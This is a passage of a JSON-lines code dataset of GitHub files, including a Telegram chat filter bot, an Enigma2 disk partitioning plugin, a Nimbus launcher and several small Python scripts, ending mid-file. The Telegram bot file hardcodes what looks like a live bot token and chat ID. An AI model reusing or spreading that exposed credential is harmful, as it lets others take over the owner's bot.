output.GetPointData().AddArray(tcoord)\n # Add the vtkTexture to the output\n img = np.array(Image.open(tex.image))\n tex.image.seek(0) # Reset the image bytes in case it is accessed again\n if img.shape[2] > 3:\n img = img[:, :, 0:3]\n vtexture = pyvista.numpy_to_texture(img)\n output.textures[name] = vtexture\n output._activate_texture(name)\n\n return output\n","repo_name":"OpenGeoVis/omfvista","sub_path":"omfvista/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"22"} +{"seq_id":"71805598457","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 30 10:33:41 2018\n\n@author: neelsavla\n\"\"\"\n\nimport pandas as pd\ndf=pd.read_csv('percent-bachelors-degrees-women-usa.csv')\nprint(df['Engineering'].min())\nprint(df['Engineering'].max())\nmean=df.mean(axis='columns')\nmean.plot()","repo_name":"nsavla007/Python-Project-On-VG-Sales","sub_path":"min_max.py","file_name":"min_max.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35269327461","text":"import tensorflow as tf\nfrom ops import *\nimport nets\n\nclass SurfaceToStructure(Model):\n\n def __init__(self, args, sess=None):\n self.session(sess)\n self.netE = nets.Encoder()\n self.netG = nets.Generator()\n self.train = tf.placeholder(tf.bool)\n self.build_network(args.nsf, args.npx, args.batch_size)\n\n if sess is None and args.check == False:\n self.initialize()\n\n variables_to_restore = tf.trainable_variables() + tf.moving_average_variables()\n super(SurfaceToStructure, self).__init__(variables_to_restore)\n\n def build_network(self, nsf, npx, batch_size):\n self.y = tf.placeholder(tf.float32, [batch_size, npx, npx, 1], 'y')\n enc_hs = self.netE(self.y, nsf, npx, self.train)\n self.xg = self.netG(enc_hs, nsf, npx, self.train)\n\n def generate(self, y):\n fd = {self.y:y, self.train:False}\n return self.sess.run(self.xg, feed_dict=fd)\n","repo_name":"maxorange/surface-to-structure","sub_path":"testers.py","file_name":"testers.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"22415738208","text":"from pydantic import BaseModel, Field\nfrom typing import Optional\nfrom datetime import datetime\nfrom utils.custom_objectID import ObjID\n\nclass AdSchemaPatch(BaseModel):\n \"\"\"Schema for patch ad\"\"\"\n current_price: int\n status: Optional[str]\n\nclass AdSchemaUpdate(AdSchemaPatch):\n \"\"\"Schema for update ad\"\"\"\n product_name: str\n description: Optional[str]\n category: Optional[str]\n base_price: int\n image: Optional[str]\n\nclass AdSchemaCreate(AdSchemaUpdate):\n \"\"\"Schema for create ad\"\"\"\n created_by: str\n\nclass AdSchema(AdSchemaCreate):\n \"\"\"Schema for ad\"\"\"\n id: ObjID = Field(default_factory=ObjID, alias='_id')\n created_at: datetime\n\n class Config:\n validate_assignment = True\n json_encoders = {\n ObjID: lambda x: str(x),\n datetime: lambda x: x.strftime('%Y:%m:%d %H:%M')\n }\n","repo_name":"kiritoroo/jewelry-auction-site","sub_path":"backend/schemas/ad_schema.py","file_name":"ad_schema.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"} +{"seq_id":"36196780203","text":"from __future__ import annotations\nfrom typing import Optional\nfrom services.cluster.k8s.model.generic_mixin import GenericMixin\n\n\nclass V1PersistentVolumeClaimVolumeSource(GenericMixin):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n claim_name: str\n read_only: Optional[bool]\n openapi_types = {\n 'claim_name': 'str',\n 'read_only': 'bool'\n }\n\n attribute_map = {\n 'claim_name': 'claimName',\n 'read_only': 'readOnly'\n }\n\n @classmethod\n def default(cls, claim_name: str):\n return cls.new(claim_name=claim_name, read_only=False)\n\n @staticmethod\n def new(claim_name: str, read_only: bool):\n return V1PersistentVolumeClaimVolumeSource(claim_name=claim_name, read_only=read_only)\n","repo_name":"ClaytonWang/huanghe","sub_path":"source/services/cluster/k8s/model/v1_persistent_volume_claim_volume_source.py","file_name":"v1_persistent_volume_claim_volume_source.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37043248053","text":"import logging\r\nimport time\r\nimport sss\r\n\r\nfrom telegram.ext import Updater, MessageHandler, Filters\r\n\r\ntoken = \"5325240818:AAGX_rGo-_FMaQYPedJFWYo1R2rRONkuCvg\"\r\nchat_id = '-1001978313765'\r\n\r\n# Задаем уровень логов\r\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)\r\n\r\n\r\n# Проверяем сообщения на наличие запрещенных слов (можно прямо в коде добавлять список слов, либо можно создать файлик)\r\ndef bad_words(text):\r\n banned_words = sss.bad\r\n\r\n for word in banned_words:\r\n if word.lower() in text.lower():\r\n return True\r\n return False\r\n\r\n\r\n# Т��т обрабатываем список входящих сообщений\r\ndef echo(update, context):\r\n message = update.effective_message\r\n text = message.text\r\n user = message.from_user\r\n username = user.username\r\n\r\n # Удалим сообщение, но только через 3 минуты (вариативно), чтобы все чуханы посмотрели\r\n # Можно добавить функцию, чтобы за плохие слова банило участника, типа Колю)\r\n if bad_words(text):\r\n time.sleep(3)\r\n message.delete()\r\n if username is not None:\r\n context.bot.send_message(chat_id=chat_id,\r\n text=f\"@{username},⚠️ Вы использовали запрещенные слова. Пожалуйста,\"\r\n \" не повторяйте это.\")\r\n else:\r\n context.bot.send_message(chat_id=chat_id,\r\n text=f\"Пользователь без ника,⚠️ Вы использовали запрещенные слова. Пожалуйста,\"\r\n \" не повторяйте это.\")\r\n else:\r\n print(text)\r\n\r\n\r\ndef main():\r\n bot_token = token\r\n updater = Updater(bot_token, use_context=True)\r\n dp = updater.dispatcher\r\n\r\n dp.add_handler(MessageHandler(Filters.text, echo))\r\n\r\n # Запускаем бота (бесконечно)\r\n updater.start_polling()\r\n updater.idle()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Normasikomg/spam_cleaner","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"6587944817","text":"#! /usr/bin/env python\n\nimport os\nimport sys\n\nimport ProcessManager\nfrom ProcessManager import Process\nimport ConfigParser\n\nUSAGE_TEXT = \"\"\"\\\n\n nimbusctl [target] command\n\nOmit the target to perform the command for all targets.\n\nTargets:\n%(targets)s\\\n\nCommands:\n%(commands)s\\\n\"\"\"\n\n\nNIMBUS_HOME = os.getenv(\"NIMBUS_HOME\")\n\nif not NIMBUS_HOME:\n sys.exit(\"The NIMBUS_HOME environment variable is not set!\")\n\nif not os.path.isdir(NIMBUS_HOME):\n sys.exit(\"$NIMBUS_HOME does not exist: \"+ NIMBUS_HOME)\n\n\nCONFIG_PATH = os.path.join(NIMBUS_HOME, 'nimbus-setup.conf')\n_NO_CONFIG_ERROR = \"\"\"\nCould not find the Nimbus setup config file:\n %s\nThis file is created after successful completion of the nimbus-configure\nprogram. You should try running nimbus-configure before using this program.\n\"\"\" % CONFIG_PATH\nconfig = ConfigParser.SafeConfigParser()\nif not config.read(CONFIG_PATH):\n sys.exit(_NO_CONFIG_ERROR)\nweb_enabled = config.getboolean('nimbussetup', 'web.enabled')\nservices_enabled = config.getboolean('nimbussetup', 'services.enabled')\ncumulus_enabled = config.getboolean('nimbussetup', 'cumulus.enabled')\nlantorrent_enabled = config.getboolean('nimbussetup', 'lantorrent.enabled')\n\nif not (web_enabled or services_enabled or cumulus_enabled):\n sys.exit(\"Neither Nimbus services nor Nimbus web are enabled. \"+\n \"See the '%s' config file to adjust this setting.\" % CONFIG_PATH)\n\ntry:\n services_wait = config.getint('nimbussetup', 'services.wait')\nexcept ConfigParser.NoOptionError:\n services_wait = 10\n\nNIMBUS_RUN_DIR = os.path.join(NIMBUS_HOME, 'var/run/')\nif not os.path.isdir(NIMBUS_RUN_DIR):\n try:\n os.mkdir(NIMBUS_RUN_DIR)\n except:\n sys.exit(\"Failed to create run directory: %s\" % NIMBUS_RUN_DIR)\n\nProcessManager.init(dataDir = NIMBUS_RUN_DIR)\n\nif services_enabled:\n NIMBUS_SERVICES_EXE = os.path.join(NIMBUS_HOME, 'libexec/run-services.sh')\n if not os.path.exists(NIMBUS_SERVICES_EXE):\n sys.exit(\"The services executable does not exist: \" + \n NIMBUS_SERVICES_EXE)\n ProcessManager.add( Process(\n name = \"services\",\n desc = \"Nimbus services\",\n program = NIMBUS_SERVICES_EXE,\n args = [],\n workingDir = NIMBUS_HOME,\n postStartDelay=services_wait\n ))\n\nif web_enabled:\n NIMBUS_WEB_EXE = os.path.join(NIMBUS_HOME, 'libexec/run-web.sh')\n if not os.path.exists(NIMBUS_WEB_EXE):\n sys.exit(\"The web executable does not exist: \" + NIMBUS_WEB_EXE)\n ProcessManager.add( Process(\n name = \"web\",\n desc = \"Nimbus web application\",\n program = NIMBUS_WEB_EXE,\n args = [],\n workingDir = NIMBUS_HOME,\n postStartDelay=3\n ))\n\nCUMULUS_HOME = os.getenv(\"CUMULUS_HOME\")\nif CUMULUS_HOME == None:\n CUMULUS_HOME = NIMBUS_HOME + \"/ve\"\n\nif cumulus_enabled:\n CUMULUS_SERVICE_EXE = os.path.join(NIMBUS_HOME, \"ve/bin/cumulus\")\n if not os.path.exists(CUMULUS_SERVICE_EXE):\n sys.exit(\"The services executable does not exist: \" + \n CUMULUS_SERVICE_EXE)\n ProcessManager.add( Process(\n name = \"cumulus\",\n desc = \"Cumulus services\",\n program = CUMULUS_SERVICE_EXE,\n args = [],\n workingDir = CUMULUS_HOME,\n postStartDelay=5\n ))\n\nif lantorrent_enabled:\n LT_HOME = os.path.join(NIMBUS_HOME, \"lantorrent/\")\n os.environ['LANTORRENT_HOME'] = LT_HOME\n LT_SERVICE_EXE = os.path.join(LT_HOME, \"bin/lt-daemon.sh\")\n if not os.path.exists(LT_SERVICE_EXE):\n sys.exit(\"The services executable does not exist: \" +\n LT_SERVICE_EXE)\n ProcessManager.add( Process(\n name = \"lantorrent\",\n desc = \"Lantorrent services\",\n program = LT_SERVICE_EXE,\n args = [],\n workingDir = LT_HOME,\n postStartDelay=2\n ))\n\n\nargv = sys.argv\nif len(argv) == 2:\n argv = argv[:]\n argv.insert(1, 'all')\n\nProcessManager.main(argv=argv, usage=USAGE_TEXT)\n","repo_name":"nimbusproject/nimbus","sub_path":"home/libexec/nimbusctl.py","file_name":"nimbusctl.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":194,"dataset":"github-code","pt":"22"} +{"seq_id":"71231890616","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom .views import *\napp_name = 'charts'\nurlpatterns = [\n path('maps', maps, name='maps'),\n path('blank', blank, name='blank'),\n path('more_notifications', more_notifications , name='more_notifications'),\n path('forms_validations', forms_validations, name='forms_validations'),\n path('pages_offline', pages_offline, name='pages_offline'),\n path('pages_uc', pages_uc, name='pages_uc'),\n path('gallery2', gallery2, name='gallery2'),\n path('grid', grid, name='grid'),\n path('tables', tables, name='tables'),\n path('typography', typography, name='typography'),\n path('feechart', feechart, name='feechart'),\n path('progresschart', progresschart, name='progresschart'),\n path('profitchart', profitchart, name='profitchart'),\n path('attendancechart', attendancechart, name='attendancechart'),\n]","repo_name":"ahab8055/First-Dashboard","sub_path":"charts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70287469496","text":"# for localized messages\nfrom . import _\nfrom enigma import *\nfrom Screens.Screen import Screen\nfrom Components.ActionMap import ActionMap\nfrom Components.Sources.List import List\nfrom Tools.Directories import resolveFilename, SCOPE_CURRENT_PLUGIN\nfrom Components.MultiContent import MultiContentEntryText, MultiContentEntryPixmapAlphaTest\nfrom Tools.LoadPixmap import LoadPixmap\nfrom Components.Button import Button\nfrom Components.Label import Label\nfrom Screens.MessageBox import MessageBox\nfrom Screens.ChoiceBox import ChoiceBox\nfrom Screens.Standby import TryQuitMainloop\nfrom .HddPartitions import HddPartitions\nfrom .HddInfo import HddInfo\nfrom .Disks import Disks\nfrom .ExtraMessageBox import ExtraMessageBox\nfrom .ExtraActionBox import ExtraActionBox\nfrom .MountPoints import MountPoints\nimport os\n\nFULLHD = False\nif getDesktop(0).size().width() >= 1920:\n\tFULLHD = True\n\nsfdisk = os.path.exists('/usr/sbin/sfdisk')\n\n\ndef DiskEntry(model, size, removable, rotational, internal):\n\tif not removable and internal and rotational:\n\t\tpicture = LoadPixmap(cached=True, path=resolveFilename(SCOPE_CURRENT_PLUGIN, \"SystemPlugins/DeviceManager/icons/disk.png\"))\n\telif internal and not rotational:\n\t\tpicture = LoadPixmap(cached=True, path=resolveFilename(SCOPE_CURRENT_PLUGIN, \"SystemPlugins/DeviceManager/icons/ssddisk.png\"))\n\telse:\n\t\tpicture = LoadPixmap(cached=True, path=resolveFilename(SCOPE_CURRENT_PLUGIN, \"SystemPlugins/DeviceManager/icons/diskusb.png\"))\n\treturn (picture, model, size)\n\n\nclass HddSetup(Screen):\n\tif FULLHD:\n\t\tskin = \"\"\"\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t{\"template\": [\n\t\t\t\t\t\tMultiContentEntryPixmapAlphaTest(pos = (5, 0), size = (48, 48), png = 0),\n\t\t\t\t\t\tMultiContentEntryText(pos = (65, 10), size = (330, 38), font=0, flags = RT_HALIGN_LEFT|RT_VALIGN_TOP, text = 1),\n\t\t\t\t\t\tMultiContentEntryText(pos = (405, 10), size = (125, 38), font=0, flags = RT_HALIGN_LEFT|RT_VALIGN_TOP, text = 2),\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"fonts\": [gFont(\"Regular\", 22)],\n\t\t\t\t\t\t\"itemHeight\": 50\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\"\"\"\n\telse:\n\t\tskin = \"\"\"\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t{\"template\": [\n\t\t\t\t\t\tMultiContentEntryPixmapAlphaTest(pos = (5, 0), size = (48, 48), png = 0),\n\t\t\t\t\t\tMultiContentEntryText(pos = (65, 10), size = (330, 38), font=0, flags = RT_HALIGN_LEFT|RT_VALIGN_TOP, text = 1),\n\t\t\t\t\t\tMultiContentEntryText(pos = (405, 10), size = (125, 38), font=0, flags = RT_HALIGN_LEFT|RT_VALIGN_TOP, text = 2),\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"fonts\": [gFont(\"Regular\", 22)],\n\t\t\t\t\t\t\"itemHeight\": 50\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\"\"\"\n\n\tdef __init__(self, session, args=0):\n\t\tself.session = session\n\t\tScreen.__init__(self, session)\n\t\tself.disks = list()\n\t\tself.mdisks = Disks()\n\t\tself.asHDD = False\n\t\tfor disk in self.mdisks.disks:\n\t\t\tcapacity = \"%d MB\" % (disk[1] / (1024 * 1024))\n\t\t\tself.disks.append(DiskEntry(disk[3], capacity, disk[2], disk[6], disk[7]))\n\t\tself[\"menu\"] = List(self.disks)\n\t\tself[\"key_red\"] = Button(_(\"Exit\"))\n\t\tself[\"key_green\"] = Button(_(\"Info\"))\n\t\tif sfdisk:\n\t\t\tself[\"key_yellow\"] = Button(_(\"Initialize\"))\n\t\telse:\n\t\t\tself[\"key_yellow\"] = Button(\"\")\n\t\tself[\"key_blue\"] = Button(_(\"Partitions\"))\n\t\tself[\"actions\"] = ActionMap([\"OkCancelActions\", \"ColorActions\"],\n\t\t{\n\t\t\t\"blue\": self.blue,\n\t\t\t\"yellow\": self.yellow,\n\t\t\t\"green\": self.green,\n\t\t\t\"red\": self.quit,\n\t\t\t\"cancel\": self.quit,\n\t\t}, -2)\n\t\tself.onShown.append(self.setWindowTitle)\n\n\tdef setWindowTitle(self):\n\t\tself.setTitle(_(\"Device Manager\"))\n\n\tdef isExt4Supported(self):\n\t\treturn \"ext4\" in open(\"/proc/filesystems\").read()\n\n\tdef mkfs(self):\n\t\tself.formatted += 1\n\t\tdisk1 = self.mdisks.disks[self.sindex][0]\n\t\tif \"mmcblk\" in disk1:\n\t\t\tdisk1 = disk1 + \"p\"\n\t\treturn self.mdisks.mkfs(disk1, self.formatted, self.fsresult)\n\n\tdef refresh(self):\n\t\tself.disks = list()\n\t\tself.mdisks = Disks()\n\t\tfor disk in self.mdisks.disks:\n\t\t\tcapacity = \"%d MB\" % (disk[1] / (1024 * 1024))\n\t\t\tself.disks.append(DiskEntry(disk[3], capacity, disk[2], disk[6], disk[7]))\n\n\t\tself[\"menu\"].setList(self.disks)\n\n\tdef checkDefault(self):\n\t\tmp = MountPoints()\n\t\tmp.read()\n\t\tdisk1 = self.mdisks.disks[self.sindex][0]\n\t\tif \"mmcblk\" in disk1:\n\t\t\tdisk1 = disk1 + \"p\"\n\t\tif self.asHDD and not mp.exist(\"/media/hdd\"):\n\t\t\tmp.add(disk1, 1, \"/media/hdd\")\n\t\t\tmp.write()\n\t\t\tmp.mount(disk1, 1, \"/media/hdd\")\n\t\t\tos.system(\"mkdir -p /media/hdd/movie\")\n\t\t\tmessage = _(\"Fixed mounted first initialized Storage Device to /media/hdd. It needs a system restart in order to take effect.\\nRestart your STB now?\")\n\t\t\tmbox = self.session.openWithCallback(self.restartBox, MessageBox, message, MessageBox.TYPE_YESNO)\n\t\t\tmbox.setTitle(_(\"Restart STB\"))\n\n\tdef restartBox(self, answer):\n\t\tif answer is True:\n\t\t\tself.session.open(TryQuitMainloop, 2)\n\n\tdef format(self, result):\n\t\tif result != 0:\n\t\t\tself.session.open(MessageBox, _(\"Cannot format partition %d\") % (self.formatted), MessageBox.TYPE_ERROR)\n\t\tif self.result == 0:\n\t\t\tif self.formatted > 0:\n\t\t\t\tself.checkDefault()\n\t\t\t\tself.refresh()\n\t\t\t\treturn\n\t\telif self.result > 0 and self.result < 3:\n\t\t\tif self.formatted > 1:\n\t\t\t\tself.checkDefault()\n\t\t\t\tself.refresh()\n\t\t\t\treturn\n\t\telif self.result == 3:\n\t\t\tif self.formatted > 2:\n\t\t\t\tself.checkDefault()\n\t\t\t\tself.refresh()\n\t\t\t\treturn\n\t\telif self.result == 4:\n\t\t\tif self.formatted > 3:\n\t\t\t\tself.checkDefault()\n\t\t\t\tself.refresh()\n\t\t\t\treturn\n\t\tself.session.openWithCallback(self.format, ExtraActionBox, _(\"Formatting partition %d\") % (self.formatted + 1), _(\"Initialize disk\"), self.mkfs)\n\n\tdef fdiskEnded(self, result):\n\t\tif result == 0:\n\t\t\tself.format(0)\n\t\telif result == -1:\n\t\t\tself.session.open(MessageBox, _(\"Cannot umount current device.\\nA record in progress, timeshift or some external tools (like samba, swapfile and nfsd) may cause this problem.\\nPlease stop this actions/applications and try again\"), MessageBox.TYPE_ERROR)\n\t\telse:\n\t\t\tself.session.open(MessageBox, _(\"Partitioning failed!\"), MessageBox.TYPE_ERROR)\n\n\tdef fdisk(self):\n\t\tdisk1 = self.mdisks.disks[self.sindex][0]\n\t\t#if \"mmcblk\" in disk1:\n\t\t#\tdisk1 = disk1 + \"p\"\n\t\treturn self.mdisks.fdisk(disk1, self.mdisks.disks[self.sindex][1], self.result, self.fsresult)\n\n\tdef initialaze(self, result):\n\t\tif not self.isExt4Supported():\n\t\t\tresult += 1\n\t\tif result != 6:\n\t\t\tdisk1 = self.mdisks.disks[self.sindex][0]\n\t\t\tif \"mmcblk\" in disk1:\n\t\t\t\tdisk1 = disk1 + \"p\"\n\t\t\tself.fsresult = result\n\t\t\tself.formatted = 0\n\t\t\tmp = MountPoints()\n\t\t\tmp.read()\n\t\t\tmp.deleteDisk(disk1)\n\t\t\tmp.write()\n\t\t\tself.session.openWithCallback(self.fdiskEnded, ExtraActionBox, _(\"Partitioning...\"), _(\"Initialize disk\"), self.fdisk)\n\n\tdef chooseFSType(self, result):\n\t\tif result != 5:\n\t\t\tself.result = result\n\t\t\tif self.isExt4Supported():\n\t\t\t\tself.session.openWithCallback(self.initialaze, ExtraMessageBox, _(\"Format as\"), _(\"Partitioner\"),\n\t\t\t\t\t\t\t\t\t\t\t[[\"Ext4\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"Ext3\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"Ext2\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"NTFS\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"exFAT\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"Fat32\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[_(\"Cancel\"), \"cancel.png\"],\n\t\t\t\t\t\t\t\t\t\t\t], 1, 6)\n\t\t\telse:\n\t\t\t\tself.session.openWithCallback(self.initialaze, ExtraMessageBox, _(\"Format as\"), _(\"Partitioner\"),\n\t\t\t\t\t\t\t\t\t\t\t[[\"Ext3\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"Ext2\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"NTFS\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"exFAT\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[\"Fat32\", \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t\t[_(\"Cancel\"), \"cancel.png\"],\n\t\t\t\t\t\t\t\t\t\t\t], 1, 5)\n\n\tdef yellow(self):\n\t\tself.asHDD = False\n\t\tif sfdisk and len(self.mdisks.disks) > 0:\n\t\t\tlist = [(_(\"No - simple\"), \"simple\"), (_(\"Yes - fstab entry as /media/hdd\"), \"as_hdd\")]\n\n\t\t\tdef extraOption(ret):\n\t\t\t\tif ret:\n\t\t\t\t\tif ret[1] == \"as_hdd\":\n\t\t\t\t\t\tself.asHDD = True\n\t\t\t\t\tself.yellowAswer()\n\t\t\tself.session.openWithCallback(extraOption, ChoiceBox, title=_(\"Initialize\") + _(\" as HDD ?\"), list=list)\n\n\tdef yellowAswer(self):\n\t\tif sfdisk and len(self.mdisks.disks) > 0:\n\t\t\tself.sindex = self['menu'].getIndex()\n\t\t\tself.session.openWithCallback(self.chooseFSType, ExtraMessageBox, _(\"Please select your preferred configuration.\") + \"\\n\" + _(\"Or use standard 'Harddisk Setup' to initialize your drive in ext4.\"), _(\"Partitioner\"),\n\t\t\t\t\t\t\t\t\t\t[[_(\"One partition\"), \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t[_(\"Two partitions (50% - 50%)\"), \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t[_(\"Two partitions (75% - 25%)\"), \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t[_(\"Three partitions (33% - 33% - 33%)\"), \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t[_(\"Four partitions (25% - 25% - 25% - 25%)\"), \"partitionmanager.png\"],\n\t\t\t\t\t\t\t\t\t\t[_(\"Cancel\"), \"cancel.png\"],\n\t\t\t\t\t\t\t\t\t\t], 1, 5)\n\n\tdef green(self):\n\t\tif len(self.mdisks.disks) > 0:\n\t\t\tself.sindex = self['menu'].getIndex()\n\t\t\tself.session.open(HddInfo, self.mdisks.disks[self.sindex][0], self.mdisks.disks[self.sindex])\n\n\tdef blue(self):\n\t\tif len(self.mdisks.disks) > 0:\n\t\t\tself.sindex = self['menu'].getIndex()\n\t\t\tif len(self.mdisks.disks[self.sindex][5]) == 0:\n\t\t\t\tself.session.open(MessageBox, _(\"You need to initialize your storage device first\"), MessageBox.TYPE_ERROR)\n\t\t\telse:\n\t\t\t\tself.session.open(HddPartitions, self.mdisks.disks[self.sindex])\n\n\tdef quit(self):\n\t\tself.close()\n","repo_name":"Dima73/enigma2-plugin-systemplugins-devicemanager","sub_path":"src/HddSetup.py","file_name":"HddSetup.py","file_ext":"py","file_size_in_byte":11689,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"22476136780","text":"import re\n\nfrom discord.ext import commands\n\n\nclass RoleConverter(commands.Converter):\n \"\"\"\n Takes a regex expression, and retunrs a list of all the roles matching that regex within the guild\n \"\"\"\n async def convert(self, ctx: commands.Context, argument: str):\n roles = list(filter(lambda r: re.match(argument.lower(), r.name.lower()), ctx.guild.roles))\n if len(roles) == 0:\n raise commands.RoleNotFound\n\n return roles","repo_name":"iDarkLightning/LiteBot","sub_path":"plugins/standard/discord_utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"22"} +{"seq_id":"7791553035","text":"#Display art\nimport art14\nfrom Gamedata import data\nimport random\nimport os\n\naccount_b = random.choice(data)\ngame_should_continue = True\ncount =0\n\nwhile game_should_continue:\n print(art14.logo)\n def format_data(account):\n name = account[\"name\"]\n description = account[\"description\"]\n country = account[\"country\"]\n return (f\" {name} ,a {description} ,from {country}\")\n \n #Generate random account from the game data\n account_a = account_b\n account_b = random.choice(data)\n \n while account_a == account_b:\n account_b = random.choice(data)\n \n print(f\"Compare A : {format_data(account_a)}\")\n print(art14.vs)\n print(f\"Against B : {format_data(account_b)}\")\n \n #ask the user for a guess \n print(account_a[\"follower_count\"])\n print(account_b[\"follower_count\"])\n user_input = input(\"Who has more followers ? Type 'A' or 'B' : \").lower()\n os.system('cls')\n if user_input == \"a\" and account_a[\"follower_count\"] > account_b[\"follower_count\"]:\n count += 1\n print(f\"You'r right .Current Score {count}\")\n \n elif user_input == \"b\" and account_a[\"follower_count\"] < account_b[\"follower_count\"]:\n count += 1\n print(f\"You'r right .Current Score {count}\")\n \n else:\n game_should_continue = False\n print(f\"Sorry , That's wrong .Final score : {count} \")\n \n \n \n\n","repo_name":"ibrahimnasir0/100-days-of-code.The-complete-python-pro-bootcamp-for-2022","sub_path":"Day 14/Day14.py","file_name":"Day14.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"} +{"seq_id":"1618051542","text":"import cv2\nimport os\n\nfrom colorFile import INFOcolored\n\ncam = cv2.VideoCapture(0)\ncam.set(3, 640) # Ширина\ncam.set(3, 640) # Высота\n\nos.system('clear')\nface_detector = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n\n# Для каждого человека ввести один числовой идентификатор лица\nface_id = input('\\n введите идентификатор пользователя и нажмите Enter ==> ')\nprint('\\n', INFOcolored('[INFO]'), ('Инициализация захвата лица. Посмотри камеру и подожди ...'))\n\n# Инициализация индивидуального отсчета лица\ncount = 0\ndataset_count = []\nwhile True:\n ret, img = cam.read()\n img = cv2.flip(img, 1)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # Вызов классификаторной функции\n faces = face_detector.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n cv2.rectangle(img, (x,y), (x+w, y+h), (255, 0, 0), 2)\n count += 1\n\n # Сохраняем захваченное изображение в папку наборов данных\n cv2.imwrite(f'dataset/User.{str(face_id)}.{str(count)}.jpg', gray[y:y + h, x:x + w])\n cv2.imshow('image', img)\n\n\n # Если нажать ESC программа закроется\n k = cv2.waitKey(100) & 0xff\n if k == 27:\n break\n # Захватуем 300 образцов лица и завершаем программу\n elif count <= 100:\n if count not in dataset_count:\n dataset_count.append(count)\n print(count)\n elif count >= 100:\n break\n\n# Небольшая уборка\nprint('\\n [INFO] Выход из программы')\ncam.release()\ncv2.destroyAllWindows()\n","repo_name":"I0HuKc/CameraDetector","sub_path":"face_dataset.py","file_name":"face_dataset.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12436115278","text":"from typing import TYPE_CHECKING, Any, Optional, Tuple, Union, cast, List, Dict\n\nimport torch\nfrom torch import Tensor\nimport torch.distributed as dist\nfrom torch.nn import Module, ModuleList\nfrom fairseq import distributed_utils\nfrom fairseq.models import BaseFairseqModel\nfrom fairseq.modules import TransformerDecoderLayer\nif TYPE_CHECKING:\n Base = Module[Tensor]\nelse:\n Base = Module\n\n# einsum dimensions: (g)roup, (s)equence, (e)xpert, (m)odel, (c)apacity\n# See https://arxiv.org/pdf/2006.16668.pdf for details.\n\n# Based on https://github.com/pytorch/pytorch/pull/40762\nclass _AllToAll(torch.autograd.Function):\n @staticmethod\n def forward(ctx: Any, group: dist.ProcessGroup, input: Tensor) -> Tensor: # type: ignore\n ctx.group = group\n input = input.contiguous()\n output = torch.empty_like(input)\n dist.all_to_all_single(output, input, group=group)\n return output\n\n @staticmethod\n def backward(ctx: Any, *grad_output: Tensor) -> Tuple[None, Tensor]:\n return (None, _AllToAll.apply(ctx.group, *grad_output))\n\n\nclass 